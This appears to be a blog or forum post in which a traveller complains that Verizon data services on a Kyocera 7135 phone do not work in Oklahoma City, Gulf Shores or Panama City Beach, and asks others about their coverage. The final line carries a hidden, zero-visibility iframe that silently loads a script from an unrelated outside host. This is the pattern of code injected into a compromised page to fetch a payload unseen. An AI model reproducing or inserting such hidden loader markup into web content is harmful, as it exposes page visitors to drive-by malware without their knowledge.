Well, this week was my first trip out of town with my new Kyocera 7135. I was excited to take her out in the real world. Headed out to Oklahoma City. Unfortunately, the phone was almost useless there for the features that interest me the most. No support for text messaging and Quick2Net (QNC)/Internet access on the local network.

After realizing that, I called Verizon. They confirmed Data Services won't work there (Voice is fine, data only doesn't work). Then I asked them about coverage in some upcoming cities I plan on visiting: Gulf Shores and Panama City Beach. No data services in either of those two cities either! At this point, I let the Verizon rep. know he's 0 for 3 and when do they plan on expanding their network to someplace I visit? The individual was friendly, but had no answers...

So far, I'm very unimpressed with Verison's Data Services. I guess if I stay home I'll be able to get my text messages and access the internet from my phone. But then again I could just go back to my VisorPrism+802.11b(Xircom Springboard) too. Funny, never had such an issue with my GSM Visorphone/VisorPrism (with T-Mobile). In fact, I even was able to use my VisorPhone in Finland and Sweden AND access the Internet/SMS messages.

I love the phone, but the service is a bit of a concern at this point. How do other travellers find their data services coverage with Verizon? Similar experiences or did I just pick the only 3 cities in the USA where Verizon's data service coverage is lacking? I'd be interested to hear the experience of others...<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>